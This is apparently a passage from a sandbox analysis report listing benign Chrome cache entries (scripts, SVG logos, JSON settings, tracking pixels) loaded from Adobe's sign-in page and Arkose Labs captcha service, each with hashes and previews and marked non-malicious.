Preview:	var arkoseLabsClientApi7f09c9f9;!function(){var t,e,n,r,o={1891:function(t,e){"use strict";e.J=void 0;var n=/^([^\w]*)(javascript\|data\|vbscript)/im,r=/&#(\w+)(^\w\|;)?/g,o=/&tab;/gi,i=/[\u0000-\u001F\u007F-\u009F\u2000-\u200D\uFEFF]/gim,a=/^.+(:\|&colon;)/gim,c=[".","/"];e.J=function(t){var e,u=(e=t\|\|"",(e=e.replace(o," ")).replace(r,(function(t,e){return String.fromCharCode(e)}))).replace(i,"").trim();if(!u)return"about:blank";if(function(t){return c.indexOf(t[0])>-1}(u))return u;var s=u.match(a);if(!s)return u;var f=s[0];return n.test(f)?"about:blank":u}},8787:function(t,e){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function r(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}function o(t,e,n){return e&&r(t.prototype,e),n&&r(t,n),Object.defineProperty(t,"prototype",{writable:!1}),t}function i(t){return i=Object.setPr

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65297)
Category:	downloaded
Size (bytes):	4256355
Entropy (8bit):	5.405364083343942
Encrypted:	false
SSDEEP:	98304:tOCiTfd2WSuLYHo0Uo4T3AAJn+qOQqTpb075vc:cCi7d2WSuLYHo0Uo4T3AAJn+3QqTpb0u
MD5:	8A56E23C7FCCD2F773B4AE59BAA81367
SHA1:	69C32593C66372D79205342CA40BD4AB35B66444
SHA-256:	9F86C194C3D3E01E2BB456D0C240AB8E72925A35D62698060C7EF6E98105B016
SHA-512:	D671242EA8B12B73961F59498CAFC7AEE86FAE90671840A718889463C2E6D3347C551CAFB344CD69712A398913EE8324D4E458684935101A01F65FE021EB8B08
Malicious:	false
URL:	https://auth.services.adobe.com/8d9e4eb26/scripts.js
Preview:	/! For license information please see scripts.js.LICENSE.txt /.!function(e){var t={};function r(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,r),o.l=!0,o.exports}r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)r.d(n,o,function(t){return e[t]}.bind(null,o));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="/",r(r.s=575)}([function(e,t,r){"use

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1923
Entropy (8bit):	4.58221937716664
Encrypted:	false
SSDEEP:	48:cyjp5JKonwXuczIo9Io9Iq23IMCQl7/jYIBQZQUPH:3LJ031919k9f7jrBQxv
MD5:	DD9BE0188FAD7B70E52624E7359F1C28
SHA1:	6C1458F73FEE69BCED6CA621FBF0FE7C100E1B42
SHA-256:	21356A5723CD98BD26A7A7D9A5A2A97529C622BFF44E53793EE7D2DF95438CD8
SHA-512:	228F1840617F0EC19ED65F6A9300630BFD0D0CA71657C0A3FB707949A2F98E4D440B8F82C397CC538BB6A9E7C35C7AB88C5FE8D9487022A24512B93C6F95E8F1
Malicious:	false
URL:	https://auth.services.adobe.com/img/social/sml-line-logo.svg
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg id="LINE_LOGO" data-name="LINE LOGO" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50">. <defs>. <style>. .cls-1 {. fill: #4cc764;. }.. .cls-1, .cls-2 {. stroke-width: 0px;. }.. .cls-2 {. fill: #fff;. }. </style>. </defs>. <circle class="cls-1" cx="25" cy="25" r="25"/>. <g>. <path class="cls-2" d="m41.67,23.54c0-7.47-7.49-13.54-16.69-13.54s-16.69,6.08-16.69,13.54c0,6.7,5.94,12.3,13.96,13.36.54.12,1.28.36,1.47.82.17.42.11,1.08.05,1.51,0,0-.2,1.18-.24,1.43-.07.42-.34,1.65,1.45.9,1.78-.75,9.61-5.66,13.11-9.69h0c2.42-2.65,3.58-5.34,3.58-8.33Z"/>. <g>. <path class="cls-1" d="m36.12,27.86c.18,0,.32-.14.32-.32v-1.18c0-.18-.14-.32-.32-.32h-3.19v-1.23h3.19c.18,0,.32-.14.32-.32v-1.18c0-.18-.14-.32-.32-.32h-3.19v-1.23h3.19c.18,0,.32-.14.32-.32v-1.18c0-.18-.14-.32-.32-.32h-4.69c-.18,0-.32.14-.32.32h0v7.28h0c0,.18.14.32.32.32h4.69Z"/>. <path class="cls-1" d="m18.78,27.86c.18

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	103
Entropy (8bit):	5.521886478851169
Encrypted:	false
SSDEEP:	3:YGEVRGWOGMEinUTWrBU4Uv57dRqtewLAN:YGEV0G9iUTWOq1LAN
MD5:	A78BD698C13DF104254F063D4DA11FD6
SHA1:	2501CA443D9AFCF509BCE2F02FF08534686EEF33
SHA-256:	5A7E91121E79920B99FF202EA74D2FF0704C3D8DEBA9EED3329C33123E104179
SHA-512:	3EE33233F78D831192243571676ED442219A2AA076CD99C3481B3BDE3788472FFE31BC91694BC9B882BB23A50EECDC3F98F228979ADF6D6897B545BCBBDCF135
Malicious:	false
URL:	https://auth.services.adobe.com/signin/v1/captcha/encryptedData
Preview:	{"captchaEncryptedData":"aBX1VSFp65s7KLQw.D4fUmqH/cfJDcMu2uXvq+qJc1IMMEa4VKLWM8cnyJZRo5Sh4Sl9gni5k86o"}

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	748
Entropy (8bit):	4.660933852975397
Encrypted:	false
SSDEEP:	12:t4NlfPGECSOn7QVP8B/HaqhAX7dU2SHalK3eRVnzKmQweoxGIJeJMcfNr77JBTyn:t4NlfPGjn7h1HaqAX7dtRK+Jz9eoxdJL
MD5:	4C5A5A172465BEFD580445C07F70F2F0
SHA1:	8FAF7BDA342FC570795E46B6DD908AFE3BB49B8F
SHA-256:	14C7E9928FABB3ACF7BC07024069E2ACDAED31BC66EBDCB1FCA8E38D27B8037F
SHA-512:	F6B05E5116FABA49803BCE3F5731CDA12C8E9CD60A984F8515800B1276ED3025671E9A40F1254380140C6C9F97CAA5BE4B79DDBB5180294DED3761357ED64306
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="28" height="28" viewBox="0 0 26.034 32"><g transform="translate(0 0)"><path d="M31.354,22.608a7.272,7.272,0,0,1,3.463-6.1,7.444,7.444,0,0,0-5.865-3.171c-2.468-.259-4.86,1.477-6.117,1.477-1.282,0-3.218-1.451-5.3-1.408a7.811,7.811,0,0,0-6.573,4.009c-2.842,4.921-.722,12.152,2,16.129,1.362,1.948,2.954,4.123,5.037,4.046,2.038-.085,2.8-1.3,5.26-1.3,2.438,0,3.152,1.3,5.277,1.251,2.187-.035,3.565-1.956,4.88-3.922a16.109,16.109,0,0,0,2.231-4.544,7.027,7.027,0,0,1-4.29-6.465Z" transform="translate(-9.609 -5.59)"/><path d="M23.551,12.976a7.16,7.16,0,0,0,1.638-5.13,7.285,7.285,0,0,0-4.714,2.439,6.813,6.813,0,0,0-1.681,4.94A6.024,6.024,0,0,0,23.551,12.976Z" transform="translate(-5.82 -7.847)"/></g></svg>.

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1920x1200, components 3
Category:	downloaded
Size (bytes):	222975
Entropy (8bit):	7.978357450570736
Encrypted:	false
SSDEEP:	6144:qEae9vAOOU9DVq30kJ4ilupgLDwXZJyjgy59T:FxOyg30kJ4iAuLTjgy7
MD5:	EBB622283A008A598D5E51B3BCF74F13
SHA1:	5161619986CBBBABF1D772C72CFB6B84A38F5A42
SHA-256:	7864398D3C7F69CB529E871E89D1459CC385E8EBA6D2D4AB20117576770951E9
SHA-512:	30F8761974D46E601051BA9F764568C5E5687B17CB36891900C0AA195A1602966AE84C00FF8B022EA42A8650A925A48FC15941564A298413B7227D3F861E68D3
Malicious:	false
URL:	https://auth.services.adobe.com/img/canvas/DanielCiocirlan.jpg
Preview:	......JFIF...........................................+......+&.%#%.&D5//5DNB>BN_UU_wqw................................+......+&.%#%.&D5//5DNB>BN_UU_wqw.............."..........4..................................................................)..2M....e.`.Fv.V(..+...Z#h...R...b0...L.0...2...R..j......0.P'..3......ug..Y.2.-&.P..M..,...f.=&.-...-....j#.<.YL.XZ[:.....R..-...[.,.7.e.jK....-(Qs..lV..2....T..6...@..3.[..U.....;$.6Fl.F4P ..B.E.FQz.T`Q..qR`....2...F.e.2.(..,.L..#...M.......[.../7......W/.6.k .&.0...2...Vi@.L9l..`...+2..h...2..V.XZM...`Ue)h...(.52.3...L..Q.....YXZL.PfV...0...-)te.T.......^..n.`.K(.@[N.X......P..4....i.#E...UT.F`..U.VR..NUa.Y.B.iVt...z...eY.,h.t.,K..5.RleZLk(g-.....3.4Z...EE.X....B.c..E'i..2.c+..Q..e@(.2..(..a........+"...=....z...,1.....gZ....r:9....x..?S.ec.T.a.e.XV.P..g..@....PT.de)J-(.DT`..i1.`..h+....X-&0.RmC...+(...#.3SEh-&.@.R,...@...-Zz.bRhZ,.Uj.g....FQU.`.!6.h.....l..J.E.i...gH..YV.e`...h..j-.dV.....Z...h..M..h.\.

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	101
Entropy (8bit):	4.701964949250391
Encrypted:	false
SSDEEP:	3:YRM9WREaDmzHQ2ERbLjHPUQISdQIUKIaivWMKzY:YsWiAmE2eLTUBS+KIn+Y
MD5:	5C66507BCDCE29F90DCFC79C5BCEBC89
SHA1:	2628A12E5A3C7CE5DE172317C6778FD50EFC00DA
SHA-256:	C3E33610767B4A32BF080E98C2F927A352ADAF49E50FD1E59C9228839AD1E302
SHA-512:	9220A64E418F627D330A3C99E53D24187CF7040D9DF187033BBADFCC95A378AFFB874CE3A5AA9AFE819B72CC2583E84C6EC8A84E0FB25E1F79EBD6B0A5F155E4
Malicious:	false
Preview:	{"timestamp":1731524042421,"status":400,"error":"Bad Request","path":"/core/v1/messaging/ui-version"}

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	60
Entropy (8bit):	4.056564762130954
Encrypted:	false
SSDEEP:	3:YBAYQf/3W8WAEoMRcWgLECf61:YCH3+fRcWrCf0
MD5:	4295F497A947D87A11E54AF0BF361A6D
SHA1:	D340FA25D26353EE33B2EE86A76E3E7DB9C5B1A2
SHA-256:	4977D737FE5F2A1FF946175BF29BB646134FF8FA13C1DCBE41300BB5AB35FAD9
SHA-512:	3C6A504CA7CB944B8A96C133087FB7EDA8401C066910BA877B97B8F149B8FADABD687EB61AC727013EA6F55EC3BEEDA118BAAF03E104C9FA70A06805C1451CE0
Malicious:	false
URL:	https://adobe-api.arkoselabs.com/v2/430FF2C3-1AB1-40B7-8BE7-44FC683FE02C/settings
Preview:	{"default":{"settings":{"observability":{"enabled":false}}}}

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.056564762130954
Encrypted:	false
SSDEEP:	3:YBAYQf/3W8WAEoMRcWgLECf61:YCH3+fRcWrCf0
MD5:	4295F497A947D87A11E54AF0BF361A6D
SHA1:	D340FA25D26353EE33B2EE86A76E3E7DB9C5B1A2
SHA-256:	4977D737FE5F2A1FF946175BF29BB646134FF8FA13C1DCBE41300BB5AB35FAD9
SHA-512:	3C6A504CA7CB944B8A96C133087FB7EDA8401C066910BA877B97B8F149B8FADABD687EB61AC727013EA6F55EC3BEEDA118BAAF03E104C9FA70A06805C1451CE0
Malicious:	false
Preview:	{"default":{"settings":{"observability":{"enabled":false}}}}

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1313
Entropy (8bit):	5.025021159173509
Encrypted:	false
SSDEEP:	24:2dkLhlfPGmN6g4R+p6Epwta0J5JZvw1L58HxhfJGcwgYlfPRRHmC+CUcsF2gwEpL:csDGc2WDaJO1l8HHwgWoxOlEpL
MD5:	719F50A4CD34B0A7CA9E0A8FE11D9894
SHA1:	2B69DE659F2C0D3DA116FD1CA29B042A42BCC494
SHA-256:	4FECE4D460AC786D39640F7FB24FE3BF264CA0FBBB111E6A58C736F5F20271F2
SHA-512:	91FE3B547EE7A4AF8FBEC5BD6ADC0441447EE44E3834871BBBF7DD40D69633C3848CB3240AE50099DE3406FE44264F41CEDA06CD8B73A0EE3C2BEFCA025C5FDB
Malicious:	false
URL:	https://auth.services.adobe.com/img/social/round/kakao.svg
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="28" height="28" viewBox="0 0 28 28">. <defs>. <style>. .cls-1 {. clip-path: url(#clippath);. }.. .cls-2 {. fill: none;. }.. .cls-2, .cls-3, .cls-4, .cls-5 {. stroke-width: 0px;. }.. .cls-6 {. mask: url(#mask);. }.. .cls-4 {. fill: #fee500;. }.. .cls-5 {. fill: #fff;. }. </style>. <clipPath id="clippath">. <rect class="cls-2" x="7" y="8.17" width="14" height="11.67"/>. </clipPath>. <mask id="mask" x="-43.91" y="-37.56" width="118.32" height="75.37" maskUnits="userSpaceOnUse">. <g id="mask0_523_4559" data-name="mask0 523 4559">. <path class="cls-5" d="m-43.91-37.56h118.32V37.81H-43.91V-37.56Z"/>. </g>. </mask>. </defs>. <rect class="cls-4" x="0" y="0" width="28" height="28" rx="14" ry="

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1313
Entropy (8bit):	5.025021159173509
Encrypted:	false
SSDEEP:	24:2dkLhlfPGmN6g4R+p6Epwta0J5JZvw1L58HxhfJGcwgYlfPRRHmC+CUcsF2gwEpL:csDGc2WDaJO1l8HHwgWoxOlEpL
MD5:	719F50A4CD34B0A7CA9E0A8FE11D9894
SHA1:	2B69DE659F2C0D3DA116FD1CA29B042A42BCC494
SHA-256:	4FECE4D460AC786D39640F7FB24FE3BF264CA0FBBB111E6A58C736F5F20271F2
SHA-512:	91FE3B547EE7A4AF8FBEC5BD6ADC0441447EE44E3834871BBBF7DD40D69633C3848CB3240AE50099DE3406FE44264F41CEDA06CD8B73A0EE3C2BEFCA025C5FDB
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="28" height="28" viewBox="0 0 28 28">. <defs>. <style>. .cls-1 {. clip-path: url(#clippath);. }.. .cls-2 {. fill: none;. }.. .cls-2, .cls-3, .cls-4, .cls-5 {. stroke-width: 0px;. }.. .cls-6 {. mask: url(#mask);. }.. .cls-4 {. fill: #fee500;. }.. .cls-5 {. fill: #fff;. }. </style>. <clipPath id="clippath">. <rect class="cls-2" x="7" y="8.17" width="14" height="11.67"/>. </clipPath>. <mask id="mask" x="-43.91" y="-37.56" width="118.32" height="75.37" maskUnits="userSpaceOnUse">. <g id="mask0_523_4559" data-name="mask0 523 4559">. <path class="cls-5" d="m-43.91-37.56h118.32V37.81H-43.91V-37.56Z"/>. </g>. </mask>. </defs>. <rect class="cls-4" x="0" y="0" width="28" height="28" rx="14" ry="

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	5.208290651600866
Encrypted:	false
SSDEEP:	24:tsWIKcRjJhKjY5AV8LVM3xjMAQilUK4clMMAk2iIlXQLxGMA9boilT7OQw/acW/E:fITjVKVUYpQvK47PBOm9cs3wSTW8m
MD5:	02AC94A5A07350ADB0D698C5064D4E1B
SHA1:	CD1777F9A9FC8C7D764C6538F8A0610B6E9F2829
SHA-256:	52CFE86EC6730241C530C5617099657F9B7561994CD257E50ACA4E60737851FD
SHA-512:	90D090E2A4DC7951DBA3526E625DB0C96DA913E18E91867A51D1CAB21CC63F4B93DC3CBF1ECE258549EAB10C8E1E6F66A37427C49E51537CE64CCA907AE5EABE
Malicious:	false
Preview:	<svg id="Button_-_Google" data-name="Button - Google" xmlns="http://www.w3.org/2000/svg" width="50" height="50" viewBox="0 0 50 50">. <rect id="Background" width="50" height="50" rx="25" fill="#fff"/>. <g id="Group_69890" data-name="Group 69890" transform="translate(13 10.771)">. <g id="logo_googleg_48dp" transform="translate(0 2.228)">. <path id="Shape" d="M20.52,9.818A13.788,13.788,0,0,0,20.3,7.364H9v4.642h6.458a5.52,5.52,0,0,1-2.395,3.622v3.011h3.878a11.7,11.7,0,0,0,3.578-8.82Z" transform="translate(3 2.455)" fill="#4285f4" fill-rule="evenodd"/>. <path id="Shape-2" data-name="Shape" d="M11.681,20.43a11.456,11.456,0,0,0,7.942-2.907l-3.878-3.011a7.24,7.24,0,0,1-10.778-3.8H.957v3.109A12,12,0,0,0,11.681,20.43Z" transform="translate(0.319 3.57)" fill="#34a853" fill-rule="evenodd"/>. <path id="Shape-3" data-name="Shape" d="M5.285,12.627a7.094,7.094,0,0,1,0-4.56V4.958H1.276a12.015,12.015,0,0,0,0,10.778l4.009-3.109Z" transform="translate(0 1.653)" fill="#fbbc05" fill-rul

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	62921
Entropy (8bit):	4.849160494541888
Encrypted:	false
SSDEEP:	1536:YZkTXdHEP0fCPP9ZsS4jEzjxE5rz2560AJv2ndnrEkUDdiTBRbV:YSTXdHEPCNjEzjm5rz2560AF2ndnrEkb
MD5:	479221735003F195FC966EE1A416FE45
SHA1:	F98F1834E1FB5C06CCE29EED1D3FF8B57CAAE836
SHA-256:	19486378CEF46557FEABDB715E35E5EA1DD4F6F4C516DD5F1B7C2C3FC2C9A659
SHA-512:	469BCFC6EC619CF387A0191994F951999788439F1AD64624C8B74A67DE9E50CD54F824B14B41B36D14846F8CFF71828EE7E7F3CB6D32DE8DD0ABB031D03FC9BB
Malicious:	false
URL:	https://auth.services.adobe.com/8d9e4eb26/en_US/messages.json
Preview:	{"attributions":{"behance":"Behance","stock":"Stock","creativeCloud":"Creative Cloud"},"common":{"backBtn":"Back","goBackBtn":"Go back","resend":"Resend","learnMoreAccountTypes":"Learn more about account types","resendCode":"Resend Code","receiveCodeAnotherWay":"Receive code another way","back":"Sign in with a different email address","selectAccount":"Select an account","changeAccount":"Sign in to a different account","continue":"Continue","continueWithEmail":"Continue with email","signInWithPasskey":"Sign in with passkey","returnToSignIn":"Return to sign in","returnToSignUp":"Return to sign up","accept":"Accept","cancel":"Cancel","confirm":"Confirm","change":"Change","close":"Close","done":"Done","ok":"OK","signin":"Sign in","signout":"Sign out","learnMore":"Learn more","viewMore":"View more","viewLess":"View less","skip":"Skip","notNow":"Not now","steps":"Step {0} of {1}","retrieve":"Retrieve","signInWithCode":"Continue with code","accountTypes":{"individual":"Personal Account","ente

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2125
Entropy (8bit):	4.891233430290872
Encrypted:	false
SSDEEP:	24:Y0ZW3+3LwJSX5B5AKNrYUBjR3LENEJuNrE5vYWr1VANWKVFucVkLAgNs3BSPvT8z:Y0sOcyP5AYpw+JuhEZ7bU4qkULB0vC
MD5:	47A86FC387427D62E1B3E332E5EC47DC
SHA1:	ABA482C1B522E72A24A55805614095150031F8FC
SHA-256:	010F398A19CD28239BBEF458C7FECC94884923AC907F9ECD80F1C4D985C9D265
SHA-512:	BF2889CD03F091638501A54C98C165953A2AC92450F90F55AD1994797DF89F10ABC72EF5072F7E911D2D999AA25A740A4CAC673E4610FA4266F2C74CADCECAC6
Malicious:	false
Preview:	{"allowedAccountTypes":["enterprise","individual","entitlement","federated"],"accountCreationEnabled":true,"deviceOptInEnabled":false,"externalLinksEnabled":true,"cancelButtonEnabled":false,"jarvisV2Enabled":true,"fraudAiEnabled":false,"passwordlessOptInEnabled":false,"ssoEnabled":true,"chromelessLinksEnabled":false,"emailVerificationPolicy":"DELAYED","termsOfUseName":"ADOBE_MASTER","marketingConsentProfile":"trial","coppaEnforcement":"DateOfBirthOrExternal","reauthTtl":900,"retryAfter":3,"updatePasswordAllowedFactors":["EMAIL","PHONE","TOTP","PASSWORD","CODE_LOGIN"],"mfaInsteadOfCaptcha":true,"timeframeInvitesOutvites":604800000,"assetMigrationTimeout":180000,"type1MarketingConsentEnabled":false,"t2eDefaultFilter":"","t2eAccountFilteringEnabled":true,"recaptchaJsTimeoutMilli":5000,"externalContextMarker":"https://oobe.adobe.com/type3","contextSwitchingMarkerEnabled":false,"encodeExternalContextMarkerUrlEnabled":false,"arkoseCaptchaEnabled":true,"arkoseCaptchaSignInEnabled":true,"arkos

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (564)
Category:	downloaded
Size (bytes):	977
Entropy (8bit):	5.441675974366955
Encrypted:	false
SSDEEP:	24:hR0VADq3AZcpJJYF155tdEUIzxTTBe1XI:TmsOpJ8ZEUIt9ea
MD5:	82D5E3DC3EC44DB5B43EDB9296856361
SHA1:	43F2A2C4E29B97A3E0D6282E7559CDA3BEB9545E
SHA-256:	501D1F396C87F675AB7E6C59227D32E7698082DD85B6BBE29AFB84485AB7CF6A
SHA-512:	8286C51CE02751D99E72803CA63E3C270E373EBEEF9C2A7016553AB760A86EE7DE2333A75E60383103FF87E8C2E181628389DC7E5E37A3790885DAB945D43B73
Malicious:	false
URL:	https://adobe-api.arkoselabs.com/v2/2.11.2/enforcement.680e9fec55645f785d2cc2dbf0b3e151.html
Preview:	<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta http-equiv="Content-Security-Policy" content="style-src 'self' 'nonce-9f921b27-740d-4162-8503-3d99588327cf'; default-src 'self' data: client-api.arkoselabs.com client-api.funcaptcha.com client-api.arkoselabs.cn client-api.arkose.com.cn cdn.arkoselabs.com cdn.funcaptcha.com;"><meta http-equiv="X-UA-Compatible" content="ie=edge"><style nonce="9f921b27-740d-4162-8503-3d99588327cf">html, body { margin: 0; padding: 0; height: 100%; }. * { box-sizing: border-box; }. #app { height: 100%; overflow: hidden; }</style></head><body><div id="app"></div><script type="text/javascript" id="enforcementScript" src="enforcement.680e9fec55645f785d2cc2dbf0b3e151.js" crossorigin="anonymous" integrity="sha384-XdDqf01rWffw1dqygIoN70JSduLSuk44/bN7TsyUpqqDnn+tni6qvGnEA8m1tncA" data-nonce="9f921b27-740d-4162-8503-3d99588327cf"></script></body></html>

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	707
Entropy (8bit):	5.299043578011239
Encrypted:	false
SSDEEP:	12:trOT8FuqGGNiHFu0wLHBIhRQAN4zUVX2aDG4fpDYtaDLe4zrVNeUKeN4f44igsKA:tKT8FuqGGNIu0wTQbNTXbDGCUtaDiOVN
MD5:	5802D46C081EB2B1B9FDF3E78CDD02EA
SHA1:	B4E4683477E447F588E03C13CDF469D886D44D50
SHA-256:	1A3823AEF10B6EDBD52C427AC06191787429DDABACCE30C11CA3A46E0B0FA008
SHA-512:	B0C21AB2C30AE3797A56CE2C98B063F6E14CEA00C9D9D210E75A23F992371D5FC4AAC1E449F2B07502A09446ADC02A92A46BC76AA6B0EF8C5B7C227465834A0E
Malicious:	false
URL:	https://auth.services.adobe.com/img/social/sml-round-microsoft-logo.svg
Preview:	<svg width="40" height="40" viewBox="0 0 40 40" fill="none" xmlns="http://www.w3.org/2000/svg">.<circle cx="20" cy="20" r="19" fill="white" stroke="#E6E6E6" stroke-width="2"/>.<g clip-path="url(#clip0_6_2637)">.<path d="M12 12H28V28H12V12Z" fill="#F3F3F3"/>.<path d="M12.6956 12.6956H19.6522V19.6522H12.6956V12.6956Z" fill="#F35325"/>.<path d="M20.3478 12.6956H27.3044V19.6522H20.3478V12.6956Z" fill="#81BC06"/>.<path d="M12.6956 20.3478H19.6522V27.3043H12.6956V20.3478Z" fill="#05A6F0"/>.<path d="M20.3478 20.3478H27.3044V27.3043H20.3478V20.3478Z" fill="#FFBA08"/>.</g>.<defs>.<clipPath id="clip0_6_2637">.<rect width="16" height="16" fill="white" transform="translate(12 12)"/>.</clipPath>.</defs>.</svg>.

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	35
Entropy (8bit):	2.9302005337813077
Encrypted:	false
SSDEEP:	3:CUHaaatrllH5:aB
MD5:	81144D75B3E69E9AA2FA3E9D83A64D03
SHA1:	F0FBC60B50EDF5B2A0B76E0AA0537B76BF346FFC
SHA-256:	9B9265C69A5CC295D1AB0D04E0273B3677DB1A6216CE2CCF4EFC8C277ED84B39
SHA-512:	2D073E10AE40FDE434EB31CBEDD581A35CD763E51FB7048B88CAA5F949B1E6105E37A228C235BC8976E8DB58ED22149CFCCF83B40CE93A28390566A28975744A
Malicious:	false
Preview:	GIF89a.............,..............;

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1400
Entropy (8bit):	5.2053804842426485
Encrypted:	false
SSDEEP:	24:tsWIKcfjJhKjY5AV8LVM3xjMAQilUK4clMMAk2iIlXQLxGMA9boilT7OQw/acW/E:fIhjVKVUYpQvK47PBOm9cs3wSTW8m
MD5:	E3A1F922468504DD26B5BEB3FEB94C58
SHA1:	52EA51104CD2720EBE6282BD15CAFCFE92F83C57
SHA-256:	9F27DFEE04F2DD28B95E41E3D416FC4C26BCA076591FC15CF24AB5646F966599
SHA-512:	DF01B8E262C955823E5D99C28EBE79386175FF240C6A862A9961B851E7C2EC8C5931495F426D95FE031EEBA315FCD36E940A86A8A4E67301B288232927CAE69D
Malicious:	false
URL:	https://auth.services.adobe.com/img/social/round/google.svg
Preview:	<svg id="Button_-_Google" data-name="Button - Google" xmlns="http://www.w3.org/2000/svg" width="50" height="50". viewBox="0 0 50 50">. <rect id="Background" width="50" height="50" rx="25" fill="#fff"/>. <g id="Group_69890" data-name="Group 69890" transform="translate(13 10.771)">. <g id="logo_googleg_48dp" transform="translate(0 2.228)">. <path id="Shape" d="M20.52,9.818A13.788,13.788,0,0,0,20.3,7.364H9v4.642h6.458a5.52,5.52,0,0,1-2.395,3.622v3.011h3.878a11.7,11.7,0,0,0,3.578-8.82Z" transform="translate(3 2.455)" fill="#4285f4" fill-rule="evenodd"/>. <path id="Shape-2" data-name="Shape" d="M11.681,20.43a11.456,11.456,0,0,0,7.942-2.907l-3.878-3.011a7.24,7.24,0,0,1-10.778-3.8H.957v3.109A12,12,0,0,0,11.681,20.43Z" transform="translate(0.319 3.57)" fill="#34a853" fill-rule="evenodd"/>. <path id="Shape-3" data-name="Shape" d="M5.285,12.627a7.094,7.094,0,0,1,0-4.56V4.958H1.276a12.015,12.015,0,0,0,0,10.778l4.009-3.109Z" transform="translate(0 1.653)" fill="#fbbc05" fil

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	35
Entropy (8bit):	2.9302005337813077
Encrypted:	false
SSDEEP:	3:CUHaaatrllH5:aB
MD5:	81144D75B3E69E9AA2FA3E9D83A64D03
SHA1:	F0FBC60B50EDF5B2A0B76E0AA0537B76BF346FFC
SHA-256:	9B9265C69A5CC295D1AB0D04E0273B3677DB1A6216CE2CCF4EFC8C277ED84B39
SHA-512:	2D073E10AE40FDE434EB31CBEDD581A35CD763E51FB7048B88CAA5F949B1E6105E37A228C235BC8976E8DB58ED22149CFCCF83B40CE93A28390566A28975744A
Malicious:	false
URL:	https://p.typekit.net/p.gif?s=1&k=ecr2zvs&ht=tk&h=auth.services.adobe.com&f=7180.7182.7184&a=1164490&js=1.21.0&app=typekit&e=js&_=1731524037578
Preview:	GIF89a.............,..............;

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
